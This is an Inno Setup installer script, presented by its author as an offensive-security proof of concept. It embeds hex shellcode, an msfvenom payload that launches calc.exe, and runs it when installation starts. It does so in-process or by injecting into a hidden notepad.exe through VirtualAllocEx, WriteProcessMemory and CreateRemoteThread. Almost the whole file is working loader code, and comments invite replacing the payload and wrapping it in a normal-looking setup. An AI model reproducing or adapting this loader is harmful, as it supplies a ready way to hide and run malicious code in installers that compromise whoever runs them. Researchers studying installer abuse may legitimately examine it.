/
inno-shellcode.min.iss
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inno-shellcode.min.iss
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; --------------------------------------------------------------------------------------
; PoC Author: Jean-Pierre LESUEUR (@DarkCoderSc) -
; https://www.phrozen.io/ -
; https://www.github.com/darkcodersc -
; jplesueur@phrozen.io -
; -
; Category: Offsec PoC -
; Description: -
; Embedd shellcode inside InnoSetup for execution during setup installation. -
; The shellcode is executed using InnoSetup Pascal Code Engine through Windows API. -
; -
; REL: August 2021 -
; (Minified version: verbose functionalities removed from code. -
; -
; TODO: -
; - [EASY] Support x86-64 InnoSetup Installers. -
; - [EASY] Run PE (Process Hollowing). -
; --------------------------------------------------------------------------------------
; Configuration
#define SpawnNewProcess 0 ; 1 = Yes; 0 = No, payload is hosted and executed in current process.
#define SpawnProcessName "notepad.exe" ; Used if "SpawnNewProcess" is set to "1".
; msfvenom -p windows/exec -a x86 --platform Windows CMD=calc.exe EXITFUNC=thread -f hex
; If SpawnNewProcess is set to "1". It is recommended to use the EXITFUNC with ExitProcess instead of Thread.
#define Payload "fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbe01d2a0a68a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500"
; BEGIN: Do whatever you want your setup to do.
; Basically, this example is just a basic setup template, in addition of executing a shellcode
; Your setup can do regular setup tasks like installing software.
[Setup]
AppId={{D7EAA450-9906-4D8C-9E74-ED44DF692880}
AppName=InnoShellcode Example
AppVersion=1.5
AppPublisher=DarkCoderSc
AppPublisherURL=https://www.twitter.com/DarkCoderSc
AppSupportURL=https://www.twitter.com/DarkCoderSc
AppUpdatesURL=https://www.twitter.com/DarkCoderSc
CreateAppDir=no
PrivilegesRequired=lowest
OutputBaseFilename=innomal
Compression=lzma
SolidCompression=yes
WizardStyle=modern
Uninstallable=no
[Languages]
Name: "english"; MessagesFile: "compiler:Default.isl"
; END
[Code]
type
{ Structures }
TPayloadArray = array of byte;
__Pointer__ = PAnsiChar;
TReference = Cardinal;
{ WinAPI Structures }
TStartupInfoA = record
cb : DWORD;
lpReserved : __Pointer__;
lpDesktop : __Pointer__;
lpTitle : __Pointer__;
dwX : DWORD;
dwY : DWORD;
dwXSize : DWORD;
dwYSize : DWORD;
dwXCountChars : DWORD;
dwYCountChars : DWORD;
dwFillAttribute : DWORD;
dwFlags : DWORD;
wShowWindow : Word;
cbReserved2 : Word;
lpReserved2 : __Pointer__;
hStdInput : THandle;
hStdOutput : THandle;
hStdError : THandle;
end;
TProcessInformation = record
hProcess : THandle;
hThread : THandle;
dwProcessId : DWORD;
dwThreadId : DWORD;
end;
{ WinAPI Definitions }
// Alternatively we can use VirtualAllocEx with current process handle.
function VirtualAlloc(
lpAddress : __Pointer__;
dwSize : Cardinal;
flAllocationType,
flProtect : DWORD
) : TReference; external 'VirtualAlloc@kernel32.dll stdcall';
function VirtualAllocEx(
hProcess : THandle;
lpAddress : __Pointer__;
dwSize : Cardinal;
flAllocationType,
flProtect : DWORD
) : TReference; external 'VirtualAllocEx@kernel32.dll stdcall';
function VirtualFree(
lpAddress : TReference;
dwSize : Cardinal;
dwFreeType : DWORD
) : BOOL; external 'VirtualFree@kernel32.dll stdcall';
function GetLastError() : DWORD; external 'GetLastError@kernel32.dll stdcall';
function CreateThread(
lpThreadAttributes : __Pointer__;
dwStackSize : Cardinal;
lpStartAddress : TReference;
lpParameter : __Pointer__;
dwCreationFlags : DWORD;
var lpThreadId : DWORD
) : THANDLE; external 'CreateThread@kernel32.dll stdcall';
procedure RtlMoveMemory(
Dest : TReference;
Source : TPayloadArray;
Len : Integer
); external 'RtlMoveMemory@kernel32.dll stdcall';
function CreateProcessA(
lpApplicationName : PAnsiChar;
lpCommandLine : PAnsiChar;
lpProcessAttributes : __Pointer__;
lpThreadAttributes : __Pointer__;
bInheritHandles : BOOL;
dwCreationFlags : DWORD;
lpEnvironment : PAnsiChar;
lpCurrentDirectory : PAnsiChar;
const lpStartupInfo : TStartupInfoA;
var lpProcessInformation : TProcessInformation
) : BOOL; external 'CreateProcessA@kernel32.dll stdcall';
function WriteProcessMemory(
hProcess : THandle;
lpBaseAddress : TReference; // Ptr
lpBuffer : TPayloadArray;
nSize : Cardinal;
var lpNumberOfBytesWritten : Cardinal
) : BOOL; external 'WriteProcessMemory@kernel32.dll stdcall';
function CreateRemoteThread(
hProcess : THandle;
lpThreadAttributes : __Pointer__;
dwStackSize : Cardinal;
lpStartAddress : TReference; // Ptr
lpParameter : __Pointer__;
dwCreationFlags : DWORD;
var lpThreadid : DWORD
) : THandle; external 'CreateRemoteThread@kernel32.dll stdcall';
{ WinAPI Constants }
const MEM_COMMIT = $00001000;
MEM_RESERVE = $00002000;
PAGE_EXECUTE_READWRITE = $00000040;
PAGE_READWRITE = $00000004;
MEM_RELEASE = $00008000;
STARTF_USESHOWWINDOW = $00000001;
{ Variables }
var pNil : PAnsiChar; // Trick to defined missing "nil/null" instruction on InnoSetup: InnoSetup initialize variable to NULL.
PAYLOAD : TPayloadArray; // Our shellcode
{ _.GetMem }
function GetMem(const ASize : Cardinal; const AExecute : Boolean) : TReference;
var AFlags : DWORD;
ARet : Cardinal;
begin
if AExecute then
AFlags := PAGE_EXECUTE_READWRITE
else
AFlags := PAGE_READWRITE;
ARet := VirtualAlloc(pNil, ASize, MEM_COMMIT or MEM_RESERVE, AFlags);
if GetLastError() = 0 then
result := ARet
else
result := 0;
end;
{ _.CreateExecutableRemoteMem }
function CreateExecutableRemoteMem(const ASize : Cardinal; const hProcess : THandle) : TReference;
var ARet : Cardinal;
begin
ARet := VirtualAllocEx(
hProcess,
pNil,
ASize,
MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if GetLastError() = 0 then
result := ARet
else
result := 0;
end;
{ _.FreeMem }
procedure FreeMem(const lpAddress : TReference; const ASize : DWORD);
begin
VirtualFree(lpAddress, ASize, MEM_RELEASE);
end;
{ _.InitializePayload }
function InitializePayload() : Boolean;
var I, n : Integer;
APayloadStr : String;
APayloadLen : Cardinal;
AIndex : Integer;
begin
result := False;
///
APayloadStr := '{#Payload}';
APayloadLen := Length(APayloadStr);
if APayloadLen mod 2 <> 0 then
Exit;
SetLength(PAYLOAD, (APayloadLen div 2));
I := 0;
while True do begin
if I = 0 then
AIndex := 0
else
AIndex := I + 1;
PAYLOAD[I div 2] := StrToInt('$' + Copy(APayloadStr, AIndex, 2));
I := I + 2;
if I = APayloadLen then
break;
end;
result := Length(PAYLOAD) > 0;
end;
{ _.ExecLocalShellcode }
procedure ExecLocalShellcode();
var AThreadId : DWORD;
AThreadHandle : THandle;
AMemAddr : TReference;
begin
AMemAddr := GetMem(Length(PAYLOAD), True);
if (AMemAddr = 0) then
Exit;
RtlMoveMemory(AMemAddr, PAYLOAD, Length(PAYLOAD));
AThreadHandle := CreateThread(pNil, 0, AMemAddr, pNil, 0, AThreadId);
end;
{ _.ExecRemoteShellcode }
procedure ExecRemoteShellcode();
var AStartupInfo : TStartupInfoA;
AProcessInfo : TProcessInformation;
AMemAddr : TReference;
ABytesWritten : Cardinal;
AThreadHandle : THandle;
AThreadId : DWORD;
begin
AStartupInfo.cb := SizeOf(AStartupInfo);
// Unfortunately, I did not found any API / method to nil a memory region
// (Ex: FillChar, ZeroMemory, Memset etc...)
//
// TODO: Create my own "memset()".
AStartupInfo.lpReserved := pNil;
AStartupInfo.lpDesktop := pNil;
AStartupInfo.lpTitle := pNil;
AStartupInfo.dwX := 0;
AStartupInfo.dwY := 0;
AStartupInfo.dwXSize := 0;
AStartupInfo.dwYSize := 0;
AStartupInfo.dwXCountChars := 0;
AStartupInfo.dwYCountChars := 0;
AStartupInfo.dwFillAttribute := 0;
AStartupInfo.dwFlags := STARTF_USESHOWWINDOW;
AStartupInfo.wShowWindow := SW_HIDE;
AStartupInfo.cbReserved2 := 0;
AStartupInfo.lpReserved2 := pNil;
AStartupInfo.hStdInput := 0;
AStartupInfo.hStdOutput := 0;
AStartupInfo.hStdError := 0;
if not CreateProcessA(
pNil,
'{#SpawnProcessName}',
pNil,
pNil,
False,
0,
pNil,
pNil,
AStartupInfo,
AProcessInfo
) then
Exit;
AMemAddr := CreateExecutableRemoteMem(Length(PAYLOAD), AProcessInfo.hProcess);
if not WriteProcessMemory(
AProcessInfo.hProcess,
AMemAddr,
PAYLOAD,
Length(PAYLOAD),
ABytesWritten
) then
Exit;
AThreadHandle := CreateRemoteThread(
AProcessInfo.hProcess,
pNil,
0, // Auto
AMemAddr, // Payload location
pNil,
0, // Run now
AThreadId // __Out__
);
if AThreadHandle = 0 then
Exit;
end;
{ _.CurStepChanged }
procedure CurStepChanged(CurStep: TSetupStep);
begin
case CurStep of
ssInstall : begin
if not InitializePayload() then
Exit;
if {#SpawnNewProcess} = 1 then
ExecRemoteShellcode()
else
ExecLocalShellcode();
end;
end;
end;